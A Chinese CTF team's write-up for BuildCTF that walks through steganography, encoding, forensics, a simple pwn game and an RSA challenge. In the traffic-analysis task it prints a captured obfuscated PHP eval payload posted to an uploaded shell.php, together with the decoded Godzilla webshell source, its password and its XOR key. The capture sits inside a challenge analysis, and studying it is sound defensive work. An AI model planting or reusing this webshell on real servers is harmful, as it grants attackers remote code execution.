BuildCTF线上赛WP
Build::CTF
flag不到啊战队--WP
萌新战队,还请多多指教~
目录
Build::CTF
flag不到啊战队--WP
Web
ez!http
find-the-id
Pwn
我要成为沙威玛传奇
Misc
what is this?
一念愚即般若绝,一念智即般若生
别真给我开盒了哥
四妹,你听我解释
如果再来一次,还会选择我吗?
白白的真好看
老色批
食不食油饼
四妹?还是萍萍呢?
EZ_ZIP
Guesscoin
HEX的秘密
我太喜欢亢金星君了!
有黑客!!!
Black&White
Misc
FindYourWindows
Crypto
OVO开门爽!开到南天门了兄弟
Web
ez!http
find-the-id
Pwn
我要成为沙威玛传奇
题目的附件,这里小白白根本看不懂,所以直接nc看一下是什么东西。
来吧,直接nc连接
根据人家提示可以看出,一口气吃100个沙威玛,就可能得到flag
1--购买 2--吃 3--查看 金钱 或 沙威玛 数量。 4--小偷--2种情况,1是被打,扣钱;2是金钱增加。 5--乞丐--2种情况,扣钱/加一个沙威玛
---这里小白不断乱试就ok
发现 加钱的概率 和 加沙威玛的概率都是 有的。
---这里加钱会好点,加一个沙威玛要好多次。
(不断按4)偷的米越来越多。
--》买 --》吃
最后发现:/bin/sh
OK ,执行命令,拿到flag
Misc
what is this?
考點:二進制轉換,摩斯密碼
data.txt :
0110001101100011011000110010110001110000011100000111000001110000011100000010110001100011011000110111000001110000011000110111000000101100011100000010110001100011011000110110001101100011001011000110001101110000011100000111000001110000001011000110001101100011011000110010110001100011011000110111000001110000011000110111000000101100011000110111000001110000011100000111000000101100011000110110001101100011011000110110001100101100011000110110001101110000011100000110001101110000001011000111000001110000001011000111000001110000011100000111000001110000001011000110001101110000011000110010110001100011011000110110001101100011011000110010110001100011001011000110001101100011011100000111000001100011011100000010110001110000011000110111000001100011001011000111000001110000011100000111000001110000001011000111000001100011011000110010110001100011001011000110001101100011011100000111000001100011011100000010110001110000011000110111000001100011011100000111000000101100011100000110001101110000011000110111000001110000
二进制转 :
CyberChef
ccc,ppppp,ccppcp,p,cccc,cpppp,ccc,ccppcp,cpppp,ccccc,ccppcp,pp,ppppp,cpc,ccccc,c,ccppcp,pcpc,ppppp,pcc,c,ccppcp,pcpcpp,pcpcpp
分析得到的数据,一眼摩斯密码。
c = . p = - , = 空格 在文本里全部替换。
... ----- ..--.- - .... .---- ... ..--.- .---- ..... ..--.- -- ----- .-. ..... . ..--.- -.-. ----- -.. . ..--.- -.-.-- -.-.--
解密--》
一念愚即般若绝,一念智即般若生
考點:解密
一个txt 一个加密的zip
txt:
就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿
直接随波逐流梭哈 --》阴阳怪气解密:
得到压缩包密码。
解压---》
佛曰:冥離是呐即俱耨薩那侄大姪訶怯多提勝涅冥咒孕大俱神闍侄老逝哆依真呐。罰呼帝冥耶梵大波得特輸至哆怖俱遠侄麼僧闍真栗恐三夷罰醯伊羯俱若夷皤槃得缽滅遠僧缽盡瑟寫俱舍梵夜心諳阿故哆上罰陀利罰得神侄帝呐無皤者俱曳哆耨怯夢伊道俱跋俱寫曳皤穆老顛離冥實奢怖多哆故悉怛隸呐阿諳一罰輸侄知侄者爍耨至怯尼諳呼俱槃諳夢缽集耨離缽。諳僧勝尼盡罰栗盧恐冥參多哆密苦怯栗即侄爍跋諳曳諳至俱提罰帝俱槃梵恐俱藝上蒙陀罰勝無菩數呐得俱所伽那醯侄藐藐侄以楞諳明奢姪南心皤倒侄夜遠故梵以楞皤世竟涅輸道奢倒冥穆罰得呐摩特沙瑟怯瑟皤怛皤槃缽呼俱耨諳朋南沙寫竟槃上缽故離波無悉缽漫孕羯侄瑟利知殿藐哆蘇道呐度知侄訶呐得諳婆明梵瑟舍缽謹奢竟俱數怯能怯羅究數哆夜帝羅
继续梭哈 --- 与x论禅 --》天书--》base
曰:坤茫元量华劫始南灵+梵冥炁渺荡净+浩虚玉道坤玉终罗炁度清魄魔神龙融魂玉命魄鬼照色玉冥周色西鬼终命东融量照霄炁北南西生陀+空茫陀周度清道茫炁冥度东真阎阎阿度命净威茫度元茫微威陀空人罗北魂威荡幽吉灵尊
别真给我开盒了哥
得出信息: 北京 天津 S3901
智能走一走,(说实话付费用户和普通差很多)
单个试出。
四妹,你听我解释
一张 png 图片,点不开,因为字节出错啦。 一看就是宽高问题
那咱们直接爆破宽高:
得到正常的png:
。。。
不错,不错~
png是吧,放到010 ,加载模板, 发现 文件结尾后面还有字节, 直接复制粘贴到一个新建好的hex文件中,保存 --》 xxx.txt
拼接起来就是,再去随波梭哈即可。(核心价值观编码)
如果再来一次,还会选择我吗?
png 看不了,肯定有问题。 010 : 发现文件头,IHDR ,,,,文件尾, 字节的变化都有规律。 每4个字节一组,前两位与后两位直接换。
又要上脚本啦。。。(别看我)
def swap_every_four(hex_data):# 每4个字符为一组,前两位和后两位互换swapped_hex = ''.join([hex_data[i+2:i+4] + hex_data[i:i+2] for i in range(0, len(hex_data), 4)])return swapped_hexdef read_png_as_hex(file_path):with open(file_path, 'rb') as f:# 读取 PNG 文件的二进制数据png_data = f.read()# 将二进制数据转换为十六进制表示hex_data = png_data.hex()return hex_datadef save_swapped_hex_as_png(swapped_hex, output_path):# 将十六进制字符串转换回二进制数据swapped_binary = bytes.fromhex(swapped_hex)with open(output_path, 'wb') as f:f.write(swapped_binary)if __name__ == "__main__":input_png = '222.png' # 输入 PNG 文件路径output_png = 'outp222ut.png' # 输出 PNG 文件路径# 读取 PNG 文件的十六进制数据hex_data = read_png_as_hex(input_png)# 每4位字符(2字节)前后两两交换swapped_hex = swap_every_four(hex_data)# 保存互换后的数据为新的 PNG 文件save_swapped_hex_as_png(swapped_hex, output_png)print(f"Swapped PNG saved as {output_png}")
ok,又看到哥哥了。。。
得到key,解压zip
条形码!
在线阅读条形码 (aspose.app)
得到key
wo_bu_shi_xiao_hei_zi!!!
解压,得到一大串 base :
。。。这个长度看着都吓人,到底是base什么呢???
无限base64 , 直到解出为止。
CyberChef
白白的真好看
0000000.txt:
来了,零宽度:
Unicode Steganography with Zero-Width Characters (mzy0.com)
拿到第二段flag。
white.docx:
显示隐藏的文字即可
拿到第一段flag
snow.txt:
看文件名就很清晰了,snow隐写,需要个key,在哪,回复公众号,
snow解密:
得到第三段flag
-----共3段flag
老色批
一张png:
都提示这么明显了,LSB :
QnVpbGRD VEZ7MV9h bV9uMHRf TFNCISEh fQ==
base64 --- 》
CyberChef
食不食油饼
你这不是空格,制表符,等等,是什么??? 看了一顿也不知道,那就只能梭哈啦 。
---》文本盲水印,果然,真的盲。
base64:
解压zip :
这个jpg, hex , LSB , ,,,都看了,还没有思路。 想起前面的盲水印,再来个图片盲水印,问题应该不大吧。 (单图盲水印)
---果然 ,gg真油!
解压zip:
base32 --》
四妹?还是萍萍呢?
二维码拼接:
图片拼接-在线拼图-在线PS-在线图片编辑-图片合并-在线工具 (qtool.net)
ok ,得到 二维码:
---扫码发现是一个公众号,
公众号一般就是回复东西,回复什么呢,看了hex也没发现什么有用信息。
看 四妹.png
010 一开, png模板一加载,就发现有报错,
咱们直接定位到那里去看看怎么回事,
明显是个文件头缺失的zip,里面还一个 公众号回复password有惊喜.txt
--复制出来,添加文件头,得到zip
--公众号回复,得到 key:
St7wg.
解压得到其文件:
base走一波
---是png哎,导出,得到图片
010看,或根据经验,就是宽高有问题,导致图片失真了。
梭哈一下,得flag
EZ_ZIP
--解压后拿到一张jpg图片,(二維碼)
010发现zip文件头, 直接复制出来
另存为---》xxx.zip
脚本直接解压---》
import os
import zipfiledef unzip_all(zip_file_path, extract_dir):# 打开并解压 zip 文件with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:zip_ref.extractall(extract_dir)# 删除已解压的 zip 文件os.remove(zip_file_path)def find_zip_files(directory):# 遍历目录,找到所有 zip 文件zip_files = []for root, dirs, files in os.walk(directory):for file in files:if file.endswith('.zip'):zip_files.append(os.path.join(root, file))return zip_filesdef recursive_unzip(start_dir):while True:# 查找当前目录中的所有 zip 文件zip_files = find_zip_files(start_dir)if not zip_files:# 如果没有找到 zip 文件,则退出循环print("解压完成,没有更多的 ZIP 文件。")break# 对找到的每个 zip 文件进行解压for zip_file in zip_files:print(f"正在解压: {zip_file}")unzip_all(zip_file, os.path.dirname(zip_file))if __name__ == "__main__":# 设置要解压的起始目录start_directory = "C:\\Users\\Anonymous\\Desktop\\12"recursive_unzip(start_directory)
得到flaggggggg.zip
伪加密,直接改
解压--》得flag
Guesscoin
---经过反复调试,就全0就绕过了,
HEX的秘密
给:c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd
hex + xor (80 = } )
我太喜欢亢金星君了!
給了一個gif圖。閃的有規律。
就这么闪,思考了一会儿,就是 摩斯了,
男 = -
女 = .
白 = 空格
(我单个弄的...)
-... ..- .. .-.. -.. -.-. - ..-. ----.-- .-- ....- .---- -.-. --- -- ....- ..--.- -. ....- .-- ..--.- ..-. .---- ... .... -----.-
有黑客!!!
考點:流量分析,哥斯拉流量特征
12多万条数据
http.request.method=="POST"
通过过滤发现,hacker主要通过上传干的事情。
分析,
追踪流看看,就看这个吧,
POST /uploads/shell.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Cookie: PHPSESSID=e30bpdvj90mp4gcgo3ukjcoa3t; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Host: 192.168.155.22 Connection: keep-alive Content-type: application/x-www-form-urlencoded Content-Length: 1413hacker=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&hhhhacker=LOk%2FNjEyMDhkNSj%2BeJf7%2B3gH5VBRUhj2NOUuZmUsfGZjsBh9HeAfF0virBj8q%2BMYHqr%2BeX0b5m%2FW%2B0pmZ1aAZACuehv4%2Bn%2FJL%2FkuVddg2HueKnpA%2F%2F39dah%2BYjCIqf6FYmI3Ng%3D%3DHTTP/1.1 200 OK Host: 192.168.155.22 Date: Tue, 08 Oct 2024 08:57:26 GMT Connection: close X-Powered-By: PHP/8.2.23 Set-Cookie: PHPSESSID=e30bpdvj90mp4gcgo3ukjcoa3t; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-type: text/html; charset=UTF-87ba0e8f6b3da4a83LOk/NjEyMDhkNkj+fav75hiqH9YzMocx4BtpMDVm1f2ed56a3adc98dc
解码:
ok,让我们看看原先的数据是什么呢? --原先的數據一定是php代碼。
K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD
import urllib.parse
import base64s = "K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD"s_urlen = urllib.parse.unquote(s)s_urlen_1 = s_urlen[::-1]s_urlen_1_b64 = base64.b64decode(s_urlen_1)print(s_urlen_1_b64)
b'\r\n@session_start();\r\n@set_time_limit(0);\r\n@error_reporting(0);\r\nfunction encode($D,$K){\r\n for($i=0;$i<strlen($D);$i++) {\r\n $c = $K[$i+1&15];\r\n $D[$i] = $D[$i]^$c;\r\n }\r\n return $D;\r\n}\r\n$pass=\'hhhhacker\';\r\n$payloadName=\'payload\';\r\n$key=\'73b761208d5c05f2\';\r\nif (isset($_POST[$pass])){\r\n $data=encode(base64_decode($_POST[$pass]),$key);\r\n if (isset($_SESSION[$payloadName])){\r\n $payload=encode($_SESSION[$payloadName],$key);\r\n if (strpos($payload,"getBasicsInfo")===false){\r\n $payload=encode($payload,$key);\r\n }\r\n\t\teval($payload);\r\n echo substr(md5($pass.$key),0,16);\r\n echo base64_encode(encode(@run($data),$key));\r\n echo substr(md5($pass.$key),16);\r\n }else{\r\n if (strpos($data,"getBasicsInfo")!==false){\r\n $_SESSION[$payloadName]=encode($data,$key);\r\n }\r\n }\r\n}\r\n'
ok ,明显,是 哥斯拉的流量特征,
通过搜索,构造脚本 ,
<?php
$key1="7ba0e8f6b3da4a83LOk/NjEyMDhkNtCBGq4a12ErNDRqF5fqqKn31KfS2Mf/wOPUPfWS1Bz2gcgHsZD9S7WdbBQcSwNKNdj0kcACNzNi1f2ed56a3adc98dc";
//直接使用encode方法
function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}$key='73b761208d5c05f2';
$str=substr($key1, 16);
echo $str;
echo PHP_EOL;
$str2=substr($str,0,-16);
echo $str2;
echo PHP_EOL;
$str3=gzdecode(encode(base64_decode($str2),$key));
//gzdecode(encode(base64_decode($key1),$key))
echo $str3;
?>
post 请求 提交, 找一下 key1
7ba0e8f6b3da4a83LOk/NjEyMDhkNtCBGq4a12ErNDRqF5fqqKn31KfS2Mf/wOPUPfWS1Bz2gcgHsZD9S7WdbBQcSwNKNdj0kcACNzNi1f2ed56a3adc98dc
运行poc得flag
Black&White
解压之后文件夹里是黑色和白色的 jpg 文件,猜想可能是二维
打开 Excel,批量把图片插入到单元格中 想凑成二维码正好 1089 是 33 的平方,所以设置成一行插入 33 张图片 然后输出单元格为图片
得出二维码进行扫描,发现扫描出 “3I8XEDHUCJTARQFOEDX7D+08AC80T8N08Y6948DF2C43C9B6Z2”
再用 Base45 解密,得出 BuildCTF{Tich1?pAnDa?_HahA_U_w1n}
Misc
FindYourWindows
考点:内存磁盘取证,数据恢复
提示:我的桌面好像有点不对劲了
下载题目解压之后:
啥文件类型也不知道啊。懵懵的,啥考点也不像,那就是是取证方向了。
给了一个文件还有一个key,那是什么呢?
搜索发现,其实是一个磁盘+key
用veraCrypt软件加载到磁盘,上面为磁盘位置和加载的密钥文件key
下面为磁盘文件--findyourwindows
加载好之后,用DiskGenius软件打开,查找即可(不行就右键恢复)
Crypto
OVO开门爽!开到南天门了兄弟
題目:
from Crypto.Util.number import *flag = b'BuildCTF{******}'#随机生成p,q
p = getPrime(1024)
q = getPrime(1024)#计算模数n
n = p*qe = 65537m = bytes_to_long(flag)#c=m^e%n
c = pow(m, e, n)print('P = ',p**2)
print('Q = ',q**2)
print('n = ',n)
print('e = ',e)
print('c = ',c)# P = 8279853330757234669136483032750824826175777927506575083710166412897012079466955769715275604152872242147320194640165649152928984919315754419447729793483984130396358578571137956571302516202649076619076831997922675572705848199504309232044502957866317011212505985284129365522570368395368427388904223782742850616983130885152785650513046301920305069822348366931825404271695876688539675285303882189060671184911139742554710018755565518014777733322795522710234091353878298486498244829638878949389690384488573338138825642381687749888102341379254137445546306796258092762099409409285871651688611387507673794784257901946892698481
# Q = 9406643503176766688113904226702477322706664731714272632525763533395380298320140341860043591350428258361089106233876240175767826293976534568274153276542755524620138714767338820334748140365080856474253334033236457092764244994983837914955286808153784628739327217539701134939748313123071347697827279169952810727995681780717719971161661561936180553161888359929479143712061627854343656949334882218260141557768868222151468471946884225370009706900640851492798538458384449294042930831359723799893581568677433868531699360789800449077751798535497117004059734670912829358793175346866262442550715622833013235677926312075950550681
# n = 8825283482190476005946253343638820879559355306860912268128891241513310054066424567824202757539757712177309282694997613217968336164050770152277369601415394249781577415456224120102543968285035647514461364611734338073523454354376992783551035395558194171202680855182868766563277697325690226849316944101739491659812174054898519492145495098671439125714086449826697343692081109131564556220174583970363431110462222473013021825770267803249515893736989430146194199936335153936611196467225599746830873958085287665223190767137404366840055297859554490123389877396965710177279558954630222879974581602069901175074777191362537419581
# e = 65537
# c = 27915082942179758159664000908789091022294710566838766903802097394437507062054409033932303966820096232375646873480427485844733381298467171069985418237873120984132166343258345389477844339261488318588760125230979340678006871754125487279212120945061845738130108370814509280317816067243605608952074687396728904772649873860508240809541545939219624254878900291126739390967820141036260712208555574522131446556595562330969209665291757386246648060990840787769772160549862538116370905306402293764494501838709895355570646716245976733542014165663539815972755562821443411642647981898636761822107221203966296758350547477576411216744594534002057673625678188824476543288048956124565509473100550838563085585434675727358831610724920550213350035792170323729397796947598697983084347567191009236345815968927729025919066227704728180060805553787151862426034275526605154807840695498644070184681962311639338273469859838505348823417234722270798882384367058630064108155240680307754557472476430983184039474907188578578484589833812196216551783354411797156409948499012005963943728564803898150155735762695825658678475746559900705796814512838380193603178657226033406812810314960142251012223576984115642351463684724512456778548853002653596485899854303126091917273560
脚本,
from Crypto.Util.number import *
from math import isqrt# 给定的 P, Q, n, e, c
P = 8279853330757234669136483032750824826175777927506575083710166412897012079466955769715275604152872242147320194640165649152928984919315754419447729793483984130396358578571137956571302516202649076619076831997922675572705848199504309232044502957866317011212505985284129365522570368395368427388904223782742850616983130885152785650513046301920305069822348366931825404271695876688539675285303882189060671184911139742554710018755565518014777733322795522710234091353878298486498244829638878949389690384488573338138825642381687749888102341379254137445546306796258092762099409409285871651688611387507673794784257901946892698481
Q = 9406643503176766688113904226702477322706664731714272632525763533395380298320140341860043591350428258361089106233876240175767826293976534568274153276542755524620138714767338820334748140365080856474253334033236457092764244994983837914955286808153784628739327217539701134939748313123071347697827279169952810727995681780717719971161661561936180553161888359929479143712061627854343656949334882218260141557768868222151468471946884225370009706900640851492798538458384449294042930831359723799893581568677433868531699360789800449077751798535497117004059734670912829358793175346866262442550715622833013235677926312075950550681
n = 8825283482190476005946253343638820879559355306860912268128891241513310054066424567824202757539757712177309282694997613217968336164050770152277369601415394249781577415456224120102543968285035647514461364611734338073523454354376992783551035395558194171202680855182868766563277697325690226849316944101739491659812174054898519492145495098671439125714086449826697343692081109131564556220174583970363431110462222473013021825770267803249515893736989430146194199936335153936611196467225599746830873958085287665223190767137404366840055297859554490123389877396965710177279558954630222879974581602069901175074777191362537419581
e = 65537
c = 27915082942179758159664000908789091022294710566838766903802097394437507062054409033932303966820096232375646873480427485844733381298467171069985418237873120984132166343258345389477844339261488318588760125230979340678006871754125487279212120945061845738130108370814509280317816067243605608952074687396728904772649873860508240809541545939219624254878900291126739390967820141036260712208555574522131446556595562330969209665291757386246648060990840787769772160549862538116370905306402293764494501838709895355570646716245976733542014165663539815972755562821443411642647981898636761822107221203966296758350547477576411216744594534002057673625678188824476543288048956124565509473100550838563085585434675727358831610724920550213350035792170323729397796947598697983084347567191009236345815968927729025919066227704728180060805553787151862426034275526605154807840695498644070184681962311639338273469859838505348823417234722270798882384367058630064108155240680307754557472476430983184039474907188578578484589833812196216551783354411797156409948499012005963943728564803898150155735762695825658678475746559900705796814512838380193603178657226033406812810314960142251012223576984115642351463684724512456778548853002653596485899854303126091917273560# 通过对 P 和 Q 开平方得到 p 和 q
p = isqrt(P)
q = isqrt(Q)# 计算欧拉函数 φ(n)
phi_n = (p - 1) * (q - 1)# 计算私钥 d
d = inverse(e, phi_n)# 解密密文 c
m = pow(c, d, n)# 将解密得到的长整型转换回字节并输出
flag = long_to_bytes(m)
print("Flag:", flag.decode())
相关文章:
BuildCTF线上赛WP
Build::CTF flag不到啊战队--WP 萌新战队,还请多多指教~ 目录 Build::CTF flag不到啊战队--WP Web ez!http find-the-id Pwn 我要成为沙威玛传奇 Misc what is this? 一念愚即般若绝,一念智即般若生 别真给我开盒了哥 四妹,你听…...
《使用Gin框架构建分布式应用》阅读笔记:p143-p207
《用Gin框架构建分布式应用》学习第10天,p143-p207总结,总计65页。 一、技术总结 1.auth0 本人实际工作中未遇到过,mark一下,参考:https://auth0.com/。 2.使用template (1)c.File() (2)router.Static() (3)rou…...
华为网络管理配置实例
目录 组网需求 数据规划 配置思路 操作步骤 结果验证 配置脚本 管理员可以通过eSight网管系统对FW进行监控和管理,接收FW的告警。 组网需求 如图1所示,某企业在网络边界处部署了FW作为安全网关,并部署了eSight网管系统对网络设备进行集中…...
大语言模型数据处理方法(基于llama模型)
文章目录 前言一、基于huggingface的DataCollatorForSeq2Seq方法解读1、DataCollatorForSeq2Seq方法2、batch最长序列填充3、指定长度填充二、构建大语言模型数据加工模块1、数据读取2、数据加工1、数据格式2、预训练(pretrain)数据加工3、微调(sft)数据加工①、sft数据加工…...
爱奇艺大数据多 AZ 统一调度架构
01# 导语 爱奇艺大数据技术广泛应用于运营决策、用户增长、广告分发、视频推荐、搜索、会员营销等场景,为公司的业务增长和用户体验提供了重要的数据驱动引擎。 多年来,随着公司业务的发展,爱奇艺大数据平台已积累了海量数据,这…...
【C++篇】栈的层叠与队列的流动:在 STL 的韵律中探寻数据结构的优雅之舞
文章目录 C 栈与队列详解:基础与进阶应用前言第一章:栈的介绍与使用1.1 栈的介绍1.2 栈的使用1.2.1 最小栈1.2.2 示例与输出 1.3 栈的模拟实现 第二章:队列的介绍与使用2.1 队列的介绍2.2 队列的使用2.2.1 示例与输出 2.3 队列的模拟实现2.3.…...
使用 Flask 实现简单的登录注册功能
目录 1. 引言 2. 环境准备 3. 数据库设置 4. Flask 应用基本配置 5. 实现用户注册 6. 实现用户登录 7. 路由配置 8. 创建前端页面 9. 结论 1. 引言 在这篇文章中,我们将使用 Flask 框架创建一个简单的登录和注册系统。Flask 是一个轻量级的 Python Web 框架…...
计算机毕业设计Python+大模型微博情感分析 微博舆情预测 微博爬虫 微博大数据 舆情分析系统 大数据毕业设计 NLP文本分类 机器学习 深度学习 AI
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 《Python大模型微博情感分析…...
CTF--Misc题型小结
(萌新笔记,多多关照,不足之处请及时提出。) 不定时更新~ 目录 密码学相关 文件类型判断 file命令 文件头类型 strings读取 隐写术 尺寸修改 文件头等缺失 EXIF隐写 thumbnail 隐写 文件分离&提取 binwalk foremo…...
深度学习系列——RNN/LSTM/GRU,seq2seq/attention机制
1、RNN/LSTM/GRU可参考: https://zhuanlan.zhihu.com/p/636756912 (1)对于这里面RNN的表示中,使用了输入x和h的拼接描述,其他公式中也是如此 (2)各符号图含义如下 2、关于RNN细节,…...
通过call指令来学习指令摘要表的细节
E8 cw cw 表示E8后面跟随2 字节 (什么数不知道) rel16 指在与指令同一代码段内的相对地址偏移 D ,指向Instruction Operand Encoding 表中的D列, 他告诉我们 操作数1 是一个0FFSET N.S. 在64位模式下,某些指令需要使用“地址覆盖前缀”(address over…...
